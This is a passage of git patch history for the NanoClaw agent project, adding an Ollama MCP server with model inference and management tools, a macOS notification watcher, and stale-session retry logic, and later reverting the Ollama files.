From 4cb13b2b6015ba4c800acc446a1e6f6863919790 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sun, 8 Mar 2026 23:15:05 +0200 Subject: [PATCH 001/485] skill/ollama-tool: local Ollama model inference via MCP Co-Authored-By: Claude Opus 4.6 --- .env.example | 2 +- container/agent-runner/src/index.ts | 7 +- .../agent-runner/src/ollama-mcp-stdio.ts | 147 ++++++++++++++++++ scripts/ollama-watch.sh | 41 +++++ src/container-runner.ts | 7 +- 5 files changed, 201 insertions(+), 3 deletions(-) create mode 100644 container/agent-runner/src/ollama-mcp-stdio.ts create mode 100755 scripts/ollama-watch.sh diff --git a/.env.example b/.env.example index 8b13789..bf3bd02 100644 --- a/.env.example +++ b/.env.example @@ -1 +1 @@ - +OLLAMA_HOST= diff --git a/container/agent-runner/src/index.ts b/container/agent-runner/src/index.ts index 543c5f5..7432393 100644 --- a/container/agent-runner/src/index.ts +++ b/container/agent-runner/src/index.ts @@ -432,7 +432,8 @@ async function runQuery( 'TeamCreate', 'TeamDelete', 'SendMessage', 'TodoWrite', 'ToolSearch', 'Skill', 'NotebookEdit', - 'mcp__nanoclaw__*' + 'mcp__nanoclaw__*', + 'mcp__ollama__*' ], env: sdkEnv, permissionMode: 'bypassPermissions', @@ -448,6 +449,10 @@ async function runQuery( NANOCLAW_IS_MAIN: containerInput.isMain ? '1' : '0', }, }, + ollama: { + command: 'node', + args: [path.join(path.dirname(mcpServerPath), 'ollama-mcp-stdio.js')], + }, }, hooks: { PreCompact: [{ hooks: [createPreCompactHook(containerInput.assistantName)] }], diff --git a/container/agent-runner/src/ollama-mcp-stdio.ts b/container/agent-runner/src/ollama-mcp-stdio.ts new file mode 100644 index 0000000..7d29bb2 --- /dev/null +++ b/container/agent-runner/src/ollama-mcp-stdio.ts @@ -0,0 +1,147 @@ +/** + * Ollama MCP Server for NanoClaw + * Exposes local Ollama models as tools for the container agent. + * Uses host.docker.internal to reach the host's Ollama instance from Docker. + */ + +import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js'; +import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'; +import { z } from 'zod'; + +import fs from 'fs'; +import path from 'path'; + +const OLLAMA_HOST = process.env.OLLAMA_HOST || 'http://host.docker.internal:11434'; +const OLLAMA_STATUS_FILE = '/workspace/ipc/ollama_status.json'; + +function log(msg: string): void { + console.error(`[OLLAMA] ${msg}`); +} + +function writeStatus(status: string, detail?: string): void { + try { + const data = { status, detail, timestamp: new Date().toISOString() }; + const tmpPath = `${OLLAMA_STATUS_FILE}.tmp`; + fs.mkdirSync(path.dirname(OLLAMA_STATUS_FILE), { recursive: true }); + fs.writeFileSync(tmpPath, JSON.stringify(data)); + fs.renameSync(tmpPath, OLLAMA_STATUS_FILE); + } catch { /* best-effort */ } +} + +async function ollamaFetch(path: string, options?: RequestInit): Promise { + const url = `${OLLAMA_HOST}${path}`; + try { + return await fetch(url, options); + } catch (err) { + // Fallback to localhost if host.docker.internal fails + if (OLLAMA_HOST.includes('host.docker.internal')) { + const fallbackUrl = url.replace('host.docker.internal', 'localhost'); + return await fetch(fallbackUrl, options); + } + throw err; + } +} + +const server = new McpServer({ + name: 'ollama', + version: '1.0.0', +}); + +server.tool( + 'ollama_list_models', + 'List all locally installed Ollama models. Use this to see which models are available before calling ollama_generate.', + {}, + async () => { + log('Listing models...'); + writeStatus('listing', 'Listing available models'); + try { + const res = await ollamaFetch('/api/tags'); + if (!res.ok) { + return { + content: [{ type: 'text' as const, text: `Ollama API error: ${res.status} ${res.statusText}` }], + isError: true, + }; + } + + const data = await res.json() as { models?: Array<{ name: string; size: number; modified_at: string }> }; + const models = data.models || []; + + if (models.length === 0) { + return { content: [{ type: 'text' as const, text: 'No models installed. Run `ollama pull ` on the host to install one.' }] }; + } + + const list = models + .map(m => `- ${m.name} (${(m.size / 1e9).toFixed(1)}GB)`) + .join('\n'); + + log(`Found ${models.length} models`); + return { content: [{ type: 'text' as const, text: `Installed models:\n${list}` }] }; + } catch (err) { + return { + content: [{ type: 'text' as const, text: `Failed to connect to Ollama at ${OLLAMA_HOST}: ${err instanceof Error ? err.message : String(err)}` }], + isError: true, + }; + } + }, +); + +server.tool( + 'ollama_generate', + 'Send a prompt to a local Ollama model and get a response. Good for cheaper/faster tasks like summarization, translation, or general queries. Use ollama_list_models first to see available models.', + { + model: z.string().describe('The model name (e.g., "llama3.2", "mistral", "gemma2")'), + prompt: z.string().describe('The prompt to send to the model'), + system: z.string().optional().describe('Optional system prompt to set model behavior'), + }, + async (args) => { + log(`>>> Generating with ${args.model} (${args.prompt.length} chars)...`); + writeStatus('generating', `Generating with ${args.model}`); + try { + const body: Record = { + model: args.model, + prompt: args.prompt, + stream: false, + }; + if (args.system) { + body.system = args.system; + } + + const res = await ollamaFetch('/api/generate', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify(body), + }); + + if (!res.ok) { + const errorText = await res.text(); + return { + content: [{ type: 'text' as const, text: `Ollama error (${res.status}): ${errorText}` }], + isError: true, + }; + } + + const data = await res.json() as { response: string; total_duration?: number; eval_count?: number }; + + let meta = ''; + if (data.total_duration) { + const secs = (data.total_duration / 1e9).toFixed(1); + meta = `\n\n[${args.model} | ${secs}s${data.eval_count ? ` | ${data.eval_count} tokens` : ''}]`; + log(`<<< Done: ${args.model} | ${secs}s | ${data.eval_count || '?'} tokens | ${data.response.length} chars`); + writeStatus('done', `${args.model} | ${secs}s | ${data.eval_count || '?'} tokens`); + } else { + log(`<<< Done: ${args.model} | ${data.response.length} chars`); + writeStatus('done', `${args.model} | ${data.response.length} chars`); + } + + return { content: [{ type: 'text' as const, text: data.response + meta }] }; + } catch (err) { + return { + content: [{ type: 'text' as const, text: `Failed to call Ollama: ${err instanceof Error ? err.message : String(err)}` }], + isError: true, + }; + } + }, +); + +const transport = new StdioServerTransport(); +await server.connect(transport); diff --git a/scripts/ollama-watch.sh b/scripts/ollama-watch.sh new file mode 100755 index 0000000..1aa4a93 --- /dev/null +++ b/scripts/ollama-watch.sh @@ -0,0 +1,41 @@ +#!/bin/bash +# Watch NanoClaw IPC for Ollama activity and show macOS notifications +# Usage: ./scripts/ollama-watch.sh + +cd "$(dirname "$0")/.." || exit 1 + +echo "Watching for Ollama activity..." +echo "Press Ctrl+C to stop" +echo "" + +LAST_TIMESTAMP="" + +while true; do + # Check all group IPC dirs for ollama_status.json + for status_file in data/ipc/*/ollama_status.json; do + [ -f "$status_file" ] || continue + + TIMESTAMP=$(python3 -c "import json; print(json.load(open('$status_file'))['timestamp'])" 2>/dev/null) + [ -z "$TIMESTAMP" ] && continue + [ "$TIMESTAMP" = "$LAST_TIMESTAMP" ] && continue + + LAST_TIMESTAMP="$TIMESTAMP" + STATUS=$(python3 -c "import json; d=json.load(open('$status_file')); print(d['status'])" 2>/dev/null) + DETAIL=$(python3 -c "import json; d=json.load(open('$status_file')); print(d.get('detail',''))" 2>/dev/null) + + case "$STATUS" in + generating) + osascript -e "display notification \"$DETAIL\" with title \"NanoClaw → Ollama\" sound name \"Submarine\"" 2>/dev/null + echo "$(date +%H:%M:%S) 🔄 $DETAIL" + ;; + done) + osascript -e "display notification \"$DETAIL\" with title \"NanoClaw ← Ollama ✓\" sound name \"Glass\"" 2>/dev/null + echo "$(date +%H:%M:%S) ✅ $DETAIL" + ;; + listing) + echo "$(date +%H:%M:%S) 📋 Listing models..." + ;; + esac + done + sleep 0.5 +done diff --git a/src/container-runner.ts b/src/container-runner.ts index 3683940..b192261 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -377,7 +377,12 @@ export async function runContainerAgent( const chunk = data.toString(); const lines = chunk.trim().split('\n'); for (const line of lines) { - if (line) logger.debug({ container: group.folder }, line); + if (!line) continue; + if (line.includes('[OLLAMA]')) { + logger.info({ container: group.folder }, line); + } else { + logger.debug({ container: group.folder }, line); + } } // Don't reset timeout on stderr — SDK writes debug logs continuously. // Timeout only resets on actual output (OUTPUT_MARKER in stdout). From 54a8648c9573e643cf748e6962d2cefbcc082a4c Mon Sep 17 00:00:00 2001 From: Gary Walker Date: Thu, 26 Mar 2026 12:08:54 +1100 Subject: [PATCH 002/485] feat: add model management tools to add-ollama-tool skill MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adds four new MCP tools to the existing ollama integration, consolidating model management (from #1331) into the single add-ollama-tool skill as requested by @gavrielc: - ollama_pull_model — pull a model from the Ollama registry - ollama_delete_model — delete a local model to free disk space - ollama_show_model — inspect modelfile, parameters, and architecture - ollama_list_running — list models loaded in memory with VRAM/processor info All four tools follow the existing patterns in this file: OLLAMA_HOST env var, ollamaFetch() with host.docker.internal fallback, log() and writeStatus() helpers. No changes to index.ts or container-runner.ts needed — OLLAMA_HOST is already forwarded via sdkEnv. Also updates SKILL.md description, tool list, verify steps, and adds a troubleshooting entry for large-model pull timeouts. Closes #1331. Co-Authored-By: Claude Sonnet 4.6 --- .claude/skills/add-ollama-tool/SKILL.md | 29 +++- .../agent-runner/src/ollama-mcp-stdio.ts | 134 ++++++++++++++++++ 2 files changed, 156 insertions(+), 7 deletions(-) diff --git a/.claude/skills/add-ollama-tool/SKILL.md b/.claude/skills/add-ollama-tool/SKILL.md index a347b49..d9b63a5 100644 --- a/.claude/skills/add-ollama-tool/SKILL.md +++ b/.claude/skills/add-ollama-tool/SKILL.md @@ -1,15 +1,19 @@ --- name: add-ollama-tool -description: Add Ollama MCP server so the container agent can call local models for cheaper/faster tasks like summarization, translation, or general queries. +description: Add Ollama MCP server so the container agent can call local models and manage the Ollama model library. --- # Add Ollama Integration -This skill adds a stdio-based MCP server that exposes local Ollama models as tools for the container agent. Claude remains the orchestrator but can offload work to local models. +This skill adds a stdio-based MCP server that exposes local Ollama models as tools for the container agent. Claude remains the orchestrator but can offload work to local models, and can also manage the model library directly. Tools added: -- `ollama_list_models` — lists installed Ollama models -- `ollama_generate` — sends a prompt to a specified model and returns the response +- `ollama_list_models` — list installed models with name, size, family, and last modified date +- `ollama_generate` — send a prompt to a specified model and return the response +- `ollama_pull_model` — pull (download) a model from the Ollama registry by name +- `ollama_delete_model` — delete a locally installed model to free disk space +- `ollama_show_model` — show model details: modelfile, parameters, template, and architecture info +- `ollama_list_running` — list models currently loaded in memory with memory usage and processor type ## Phase 1: Pre-flight @@ -106,7 +110,7 @@ launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS ## Phase 4: Verify -### Test via WhatsApp +### Test inference Tell the user: @@ -114,6 +118,12 @@ Tell the user: > > The agent should use `ollama_list_models` to find available models, then `ollama_generate` to get a response. +### Test model management + +> Send a message like: "pull the gemma3:1b model" or "which ollama models are currently loaded in memory?" +> +> The agent should call `ollama_pull_model` or `ollama_list_running` respectively. + ### Monitor activity (optional) Run the watcher script for macOS notifications when Ollama is used: @@ -129,9 +139,10 @@ tail -f logs/nanoclaw.log | grep -i ollama ``` Look for: -- `Agent output: ... Ollama ...` — agent used Ollama successfully -- `[OLLAMA] >>> Generating` — generation started (if log surfacing works) +- `[OLLAMA] >>> Generating` — generation started - `[OLLAMA] <<< Done` — generation completed +- `[OLLAMA] Pulling model:` — pull in progress +- `[OLLAMA] Deleted:` — model removed ## Troubleshooting @@ -151,3 +162,7 @@ The agent is trying to run `ollama` CLI inside the container instead of using th ### Agent doesn't use Ollama tools The agent may not know about the tools. Try being explicit: "use the ollama_generate tool with gemma3:1b to answer: ..." + +### `ollama_pull_model` times out on large models + +Large models (7B+) can take several minutes. The tool uses `stream: false` so it blocks until complete — this is intentional. For very large pulls, use the host CLI directly: `ollama pull ` diff --git a/container/agent-runner/src/ollama-mcp-stdio.ts b/container/agent-runner/src/ollama-mcp-stdio.ts index 7d29bb2..379398a 100644 --- a/container/agent-runner/src/ollama-mcp-stdio.ts +++ b/container/agent-runner/src/ollama-mcp-stdio.ts @@ -143,5 +143,139 @@ server.tool( }, ); +server.tool( + 'ollama_pull_model', + 'Pull (download) a model from the Ollama registry by name. Returns the final status once the pull is complete. Use model names like "llama3.2", "mistral", "gemma2:9b".', + { + model: z.string().describe('Model name to pull, e.g. "llama3.2", "mistral", "gemma2:9b"'), + }, + async (args) => { + log(`Pulling model: ${args.model}...`); + writeStatus('pulling', `Pulling ${args.model}`); + try { + const res = await ollamaFetch('/api/pull', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ model: args.model, stream: false }), + }); + if (!res.ok) { + const errorText = await res.text(); + return { + content: [{ type: 'text' as const, text: `Ollama error (${res.status}): ${errorText}` }], + isError: true, + }; + } + const data = await res.json() as { status: string }; + log(`Pull complete: ${args.model} — ${data.status}`); + writeStatus('done', `Pulled ${args.model}`); + return { content: [{ type: 'text' as const, text: `Pull complete: ${args.model} — ${data.status}` }] }; + } catch (err) { + return { + content: [{ type: 'text' as const, text: `Failed to pull model: ${err instanceof Error ? err.message : String(err)}` }], + isError: true, + }; + } + }, +); + +server.tool( + 'ollama_delete_model', + 'Delete a locally installed Ollama model to free up disk space.', + { + model: z.string().describe('Model name to delete, e.g. "llama3.2", "mistral:latest"'), + }, + async (args) => { + log(`Deleting model: ${args.model}...`); + writeStatus('deleting', `Deleting ${args.model}`); + try { + const res = await ollamaFetch('/api/delete', { + method: 'DELETE', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ model: args.model }), + }); + if (!res.ok) { + const errorText = await res.text(); + return { + content: [{ type: 'text' as const, text: `Ollama error (${res.status}): ${errorText}` }], + isError: true, + }; + } + log(`Deleted: ${args.model}`); + writeStatus('done', `Deleted ${args.model}`); + return { content: [{ type: 'text' as const, text: `Deleted model: ${args.model}` }] }; + } catch (err) { + return { + content: [{ type: 'text' as const, text: `Failed to delete model: ${err instanceof Error ? err.message : String(err)}` }], + isError: true, + }; + } + }, +); + +server.tool( + 'ollama_show_model', + 'Show details for a locally installed Ollama model: modelfile, parameters, template, system prompt, and architecture info (context length, parameter count, etc.).', + { + model: z.string().describe('Model name to inspect, e.g. "llama3.2", "mistral:latest"'), + }, + async (args) => { + log(`Showing model info: ${args.model}...`); + try { + const res = await ollamaFetch('/api/show', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ model: args.model }), + }); + if (!res.ok) { + const errorText = await res.text(); + return { + content: [{ type: 'text' as const, text: `Ollama error (${res.status}): ${errorText}` }], + isError: true, + }; + } + const data = await res.json(); + return { content: [{ type: 'text' as const, text: JSON.stringify(data, null, 2) }] }; + } catch (err) { + return { + content: [{ type: 'text' as const, text: `Failed to show model info: ${err instanceof Error ? err.message : String(err)}` }], + isError: true, + }; + } + }, +); + +server.tool( + 'ollama_list_running', + 'List Ollama models currently loaded in memory with their memory usage, processor type (CPU/GPU), and time until they are unloaded.', + {}, + async () => { + log('Listing running models...'); + try { + const res = await ollamaFetch('/api/ps'); + if (!res.ok) { + return { + content: [{ type: 'text' as const, text: `Ollama API error: ${res.status} ${res.statusText}` }], + isError: true, + }; + } + const data = await res.json() as { models?: Array<{ name: string; size_vram: number; processor: string; expires_at: string }> }; + const models = data.models || []; + if (models.length === 0) { + return { content: [{ type: 'text' as const, text: 'No models currently loaded in memory.' }] }; + } + const list = models + .map(m => `- ${m.name} (${(m.size_vram / 1e9).toFixed(1)}GB ${m.processor}, unloads at ${m.expires_at})`) + .join('\n'); + log(`${models.length} model(s) running`); + return { content: [{ type: 'text' as const, text: `Models loaded in memory:\n${list}` }] }; + } catch (err) { + return { + content: [{ type: 'text' as const, text: `Failed to list running models: ${err instanceof Error ? err.message : String(err)}` }], + isError: true, + }; + } + }, +); + const transport = new StdioServerTransport(); await server.connect(transport); From 474346e21470a55c9c8b4b24b5bf6fc819a297ff Mon Sep 17 00:00:00 2001 From: Gary Walker Date: Mon, 30 Mar 2026 16:09:56 +1100 Subject: [PATCH 003/485] fix: recover from stale Claude Code session IDs instead of retrying infinitely When Claude Code exits with code 1 during a session resume, the group's session ID is now cleared from the database and the query is retried with a fresh session. This prevents the infinite retry loop that occurred when a stale/corrupt session ID was stored in SQLite. Co-Authored-By: Claude Opus 4.6 (1M context) --- src/db.ts | 4 ++++ src/index.ts | 46 ++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 50 insertions(+) diff --git a/src/db.ts b/src/db.ts index 0896f41..04da21b 100644 --- a/src/db.ts +++ b/src/db.ts @@ -526,6 +526,10 @@ export function setSession(groupFolder: string, sessionId: string): void { ).run(groupFolder, sessionId); } +export function deleteSession(groupFolder: string): void { + db.prepare('DELETE FROM sessions WHERE group_folder = ?').run(groupFolder); +} + export function getAllSessions(): Record { const rows = db .prepare('SELECT group_folder, session_id FROM sessions') diff --git a/src/index.ts b/src/index.ts index 3f5e710..e65c921 100644 --- a/src/index.ts +++ b/src/index.ts @@ -30,6 +30,7 @@ import { getAllChats, getAllRegisteredGroups, getAllSessions, + deleteSession, getAllTasks, getMessagesSince, getNewMessages, @@ -355,6 +356,51 @@ async function runAgent( } if (output.status === 'error') { + // Detect stale/corrupt session: container failed while resuming an existing session. + // Clear the session and retry once with a fresh session to avoid infinite retry loops. + if (sessionId) { + logger.warn( + { group: group.name, staleSessionId: sessionId, error: output.error }, + 'Container failed with existing session — clearing stale session and retrying with fresh session', + ); + delete sessions[group.folder]; + deleteSession(group.folder); + + const freshOutput = await runContainerAgent( + group, + { + prompt, + sessionId: undefined, + groupFolder: group.folder, + chatJid, + isMain, + assistantName: ASSISTANT_NAME, + }, + (proc, containerName) => + queue.registerProcess(chatJid, proc, containerName, group.folder), + wrappedOnOutput, + ); + + if (freshOutput.newSessionId) { + sessions[group.folder] = freshOutput.newSessionId; + setSession(group.folder, freshOutput.newSessionId); + } + + if (freshOutput.status === 'error') { + logger.error( + { group: group.name, error: freshOutput.error }, + 'Container agent error on fresh session retry', + ); + return 'error'; + } + + logger.info( + { group: group.name, newSessionId: freshOutput.newSessionId }, + 'Fresh session retry succeeded', + ); + return 'success'; + } + logger.error( { group: group.name, error: output.error }, 'Container agent error', From 38009be2632fb7f11d7927016caebb250ac762db Mon Sep 17 00:00:00 2001 From: Gary Walker Date: Mon, 30 Mar 2026 23:03:44 +1100 Subject: [PATCH 004/485] fix: auto-recover from stale Claude Code session on exit code 1 When Claude Code exits with code 1 during a session resume because the session transcript file no longer exists (ENOENT on .jsonl), clear the stale session from SQLite and retry once with a fresh session. Detection is targeted: only triggers on ENOENT referencing a .jsonl file or explicit "session not found" errors. Transient failures (network, API) fall through to the normal backoff retry path. Also removes unrelated ollama files that were mixed in during rebase. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/index.ts | 7 +- .../agent-runner/src/ollama-mcp-stdio.ts | 281 ------------------ scripts/ollama-watch.sh | 41 --- src/container-runner.ts | 7 +- src/index.ts | 16 +- 5 files changed, 14 insertions(+), 338 deletions(-) delete mode 100644 container/agent-runner/src/ollama-mcp-stdio.ts delete mode 100755 scripts/ollama-watch.sh diff --git a/container/agent-runner/src/index.ts b/container/agent-runner/src/index.ts index ec181ed..25554f9 100644 --- a/container/agent-runner/src/index.ts +++ b/container/agent-runner/src/index.ts @@ -409,8 +409,7 @@ async function runQuery( 'TeamCreate', 'TeamDelete', 'SendMessage', 'TodoWrite', 'ToolSearch', 'Skill', 'NotebookEdit', - 'mcp__nanoclaw__*', - 'mcp__ollama__*' + 'mcp__nanoclaw__*' ], env: sdkEnv, permissionMode: 'bypassPermissions', @@ -426,10 +425,6 @@ async function runQuery( NANOCLAW_IS_MAIN: containerInput.isMain ? '1' : '0', }, }, - ollama: { - command: 'node', - args: [path.join(path.dirname(mcpServerPath), 'ollama-mcp-stdio.js')], - }, }, hooks: { PreCompact: [{ hooks: [createPreCompactHook(containerInput.assistantName)] }], diff --git a/container/agent-runner/src/ollama-mcp-stdio.ts b/container/agent-runner/src/ollama-mcp-stdio.ts deleted file mode 100644 index 379398a..0000000 --- a/container/agent-runner/src/ollama-mcp-stdio.ts +++ /dev/null @@ -1,281 +0,0 @@ -/** - * Ollama MCP Server for NanoClaw - * Exposes local Ollama models as tools for the container agent. - * Uses host.docker.internal to reach the host's Ollama instance from Docker. - */ - -import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js'; -import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'; -import { z } from 'zod'; - -import fs from 'fs'; -import path from 'path'; - -const OLLAMA_HOST = process.env.OLLAMA_HOST || 'http://host.docker.internal:11434'; -const OLLAMA_STATUS_FILE = '/workspace/ipc/ollama_status.json'; - -function log(msg: string): void { - console.error(`[OLLAMA] ${msg}`); -} - -function writeStatus(status: string, detail?: string): void { - try { - const data = { status, detail, timestamp: new Date().toISOString() }; - const tmpPath = `${OLLAMA_STATUS_FILE}.tmp`; - fs.mkdirSync(path.dirname(OLLAMA_STATUS_FILE), { recursive: true }); - fs.writeFileSync(tmpPath, JSON.stringify(data)); - fs.renameSync(tmpPath, OLLAMA_STATUS_FILE); - } catch { /* best-effort */ } -} - -async function ollamaFetch(path: string, options?: RequestInit): Promise { - const url = `${OLLAMA_HOST}${path}`; - try { - return await fetch(url, options); - } catch (err) { - // Fallback to localhost if host.docker.internal fails - if (OLLAMA_HOST.includes('host.docker.internal')) { - const fallbackUrl = url.replace('host.docker.internal', 'localhost'); - return await fetch(fallbackUrl, options); - } - throw err; - } -} - -const server = new McpServer({ - name: 'ollama', - version: '1.0.0', -}); - -server.tool( - 'ollama_list_models', - 'List all locally installed Ollama models. Use this to see which models are available before calling ollama_generate.', - {}, - async () => { - log('Listing models...'); - writeStatus('listing', 'Listing available models'); - try { - const res = await ollamaFetch('/api/tags'); - if (!res.ok) { - return { - content: [{ type: 'text' as const, text: `Ollama API error: ${res.status} ${res.statusText}` }], - isError: true, - }; - } - - const data = await res.json() as { models?: Array<{ name: string; size: number; modified_at: string }> }; - const models = data.models || []; - - if (models.length === 0) { - return { content: [{ type: 'text' as const, text: 'No models installed. Run `ollama pull ` on the host to install one.' }] }; - } - - const list = models - .map(m => `- ${m.name} (${(m.size / 1e9).toFixed(1)}GB)`) - .join('\n'); - - log(`Found ${models.length} models`); - return { content: [{ type: 'text' as const, text: `Installed models:\n${list}` }] }; - } catch (err) { - return { - content: [{ type: 'text' as const, text: `Failed to connect to Ollama at ${OLLAMA_HOST}: ${err instanceof Error ? err.message : String(err)}` }], - isError: true, - }; - } - }, -); - -server.tool( - 'ollama_generate', - 'Send a prompt to a local Ollama model and get a response. Good for cheaper/faster tasks like summarization, translation, or general queries. Use ollama_list_models first to see available models.', - { - model: z.string().describe('The model name (e.g., "llama3.2", "mistral", "gemma2")'), - prompt: z.string().describe('The prompt to send to the model'), - system: z.string().optional().describe('Optional system prompt to set model behavior'), - }, - async (args) => { - log(`>>> Generating with ${args.model} (${args.prompt.length} chars)...`); - writeStatus('generating', `Generating with ${args.model}`); - try { - const body: Record = { - model: args.model, - prompt: args.prompt, - stream: false, - }; - if (args.system) { - body.system = args.system; - } - - const res = await ollamaFetch('/api/generate', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(body), - }); - - if (!res.ok) { - const errorText = await res.text(); - return { - content: [{ type: 'text' as const, text: `Ollama error (${res.status}): ${errorText}` }], - isError: true, - }; - } - - const data = await res.json() as { response: string; total_duration?: number; eval_count?: number }; - - let meta = ''; - if (data.total_duration) { - const secs = (data.total_duration / 1e9).toFixed(1); - meta = `\n\n[${args.model} | ${secs}s${data.eval_count ? ` | ${data.eval_count} tokens` : ''}]`; - log(`<<< Done: ${args.model} | ${secs}s | ${data.eval_count || '?'} tokens | ${data.response.length} chars`); - writeStatus('done', `${args.model} | ${secs}s | ${data.eval_count || '?'} tokens`); - } else { - log(`<<< Done: ${args.model} | ${data.response.length} chars`); - writeStatus('done', `${args.model} | ${data.response.length} chars`); - } - - return { content: [{ type: 'text' as const, text: data.response + meta }] }; - } catch (err) { - return { - content: [{ type: 'text' as const, text: `Failed to call Ollama: ${err instanceof Error ? err.message : String(err)}` }], - isError: true, - }; - } - }, -); - -server.tool( - 'ollama_pull_model', - 'Pull (download) a model from the Ollama registry by name. Returns the final status once the pull is complete. Use model names like "llama3.2", "mistral", "gemma2:9b".', - { - model: z.string().describe('Model name to pull, e.g. "llama3.2", "mistral", "gemma2:9b"'), - }, - async (args) => { - log(`Pulling model: ${args.model}...`); - writeStatus('pulling', `Pulling ${args.model}`); - try { - const res = await ollamaFetch('/api/pull', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ model: args.model, stream: false }), - }); - if (!res.ok) { - const errorText = await res.text(); - return { - content: [{ type: 'text' as const, text: `Ollama error (${res.status}): ${errorText}` }], - isError: true, - }; - } - const data = await res.json() as { status: string }; - log(`Pull complete: ${args.model} — ${data.status}`); - writeStatus('done', `Pulled ${args.model}`); - return { content: [{ type: 'text' as const, text: `Pull complete: ${args.model} — ${data.status}` }] }; - } catch (err) { - return { - content: [{ type: 'text' as const, text: `Failed to pull model: ${err instanceof Error ? err.message : String(err)}` }], - isError: true, - }; - } - }, -); - -server.tool( - 'ollama_delete_model', - 'Delete a locally installed Ollama model to free up disk space.', - { - model: z.string().describe('Model name to delete, e.g. "llama3.2", "mistral:latest"'), - }, - async (args) => { - log(`Deleting model: ${args.model}...`); - writeStatus('deleting', `Deleting ${args.model}`); - try { - const res = await ollamaFetch('/api/delete', { - method: 'DELETE', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ model: args.model }), - }); - if (!res.ok) { - const errorText = await res.text(); - return { - content: [{ type: 'text' as const, text: `Ollama error (${res.status}): ${errorText}` }], - isError: true, - }; - } - log(`Deleted: ${args.model}`); - writeStatus('done', `Deleted ${args.model}`); - return { content: [{ type: 'text' as const, text: `Deleted model: ${args.model}` }] }; - } catch (err) { - return { - content: [{ type: 'text' as const, text: `Failed to delete model: ${err instanceof Error ? err.message : String(err)}` }], - isError: true, - }; - } - }, -); - -server.tool( - 'ollama_show_model', - 'Show details for a locally installed Ollama model: modelfile, parameters, template, system prompt, and architecture info (context length, parameter count, etc.).', - { - model: z.string().describe('Model name to inspect, e.g. "llama3.2", "mistral:latest"'), - }, - async (args) => { - log(`Showing model info: ${args.model}...`); - try { - const res = await ollamaFetch('/api/show', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ model: args.model }), - }); - if (!res.ok) { - const errorText = await res.text(); - return { - content: [{ type: 'text' as const, text: `Ollama error (${res.status}): ${errorText}` }], - isError: true, - }; - } - const data = await res.json(); - return { content: [{ type: 'text' as const, text: JSON.stringify(data, null, 2) }] }; - } catch (err) { - return { - content: [{ type: 'text' as const, text: `Failed to show model info: ${err instanceof Error ? err.message : String(err)}` }], - isError: true, - }; - } - }, -); - -server.tool( - 'ollama_list_running', - 'List Ollama models currently loaded in memory with their memory usage, processor type (CPU/GPU), and time until they are unloaded.', - {}, - async () => { - log('Listing running models...'); - try { - const res = await ollamaFetch('/api/ps'); - if (!res.ok) { - return { - content: [{ type: 'text' as const, text: `Ollama API error: ${res.status} ${res.statusText}` }], - isError: true, - }; - } - const data = await res.json() as { models?: Array<{ name: string; size_vram: number; processor: string; expires_at: string }> }; - const models = data.models || []; - if (models.length === 0) { - return { content: [{ type: 'text' as const, text: 'No models currently loaded in memory.' }] }; - } - const list = models - .map(m => `- ${m.name} (${(m.size_vram / 1e9).toFixed(1)}GB ${m.processor}, unloads at ${m.expires_at})`) - .join('\n'); - log(`${models.length} model(s) running`); - return { content: [{ type: 'text' as const, text: `Models loaded in memory:\n${list}` }] }; - } catch (err) { - return { - content: [{ type: 'text' as const, text: `Failed to list running models: ${err instanceof Error ? err.message : String(err)}` }], - isError: true, - }; - } - }, -); - -const transport = new StdioServerTransport(); -await server.connect(transport); diff --git a/scripts/ollama-watch.sh b/scripts/ollama-watch.sh deleted file mode 100755 index 1aa4a93..0000000 --- a/scripts/ollama-watch.sh +++ /dev/null @@ -1,41 +0,0 @@ -#!/bin/bash -# Watch NanoClaw IPC for Ollama activity and show macOS notifications -# Usage: ./scripts/ollama-watch.sh - -cd "$(dirname "$0")/.." || exit 1 - -echo "Watching for Ollama activity..." -echo "Press Ctrl+C to stop" -echo "" - -LAST_TIMESTAMP="" - -while true; do - # Check all group IPC dirs for ollama_status.json - for status_file in data/ipc/*/ollama_status.json; do - [ -f "$status_file" ] || continue - - TIMESTAMP=$(python3 -c "import json; print(json.load(open('$status_file'))['timestamp'])" 2>/dev/null) - [ -z "$TIMESTAMP" ] && continue - [ "$TIMESTAMP" = "$LAST_TIMESTAMP" ] && continue - - LAST_TIMESTAMP="$TIMESTAMP" - STATUS=$(python3 -c "import json; d=json.load(open('$status_file')); print(d['status'])" 2>/dev/null) - DETAIL=$(python3 -c "import json; d=json.load(open('$status_file')); print(d.get('detail',''))" 2>/dev/null) - - case "$STATUS" in - generating) - osascript -e "display notification \"$DETAIL\" with title \"NanoClaw → Ollama\" sound name \"Submarine\"" 2>/dev/null - echo "$(date +%H:%M:%S) 🔄 $DETAIL" - ;; - done) - osascript -e "display notification \"$DETAIL\" with title \"NanoClaw ← Ollama ✓\" sound name \"Glass\"" 2>/dev/null - echo "$(date +%H:%M:%S) ✅ $DETAIL" - ;; - listing) - echo "$(date +%H:%M:%S) 📋 Listing models..." - ;; - esac - done - sleep 0.5 -done diff --git a/src/container-runner.ts b/src/container-runner.ts index 5f22180..f6f86b1 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -400,12 +400,7 @@ export async function runContainerAgent( const chunk = data.toString(); const lines = chunk.trim().split('\n'); for (const line of lines) { - if (!line) continue; - if (line.includes('[OLLAMA]')) { - logger.info({ container: group.folder }, line); - } else { - logger.debug({ container: group.folder }, line); - } + if (line) logger.debug({ 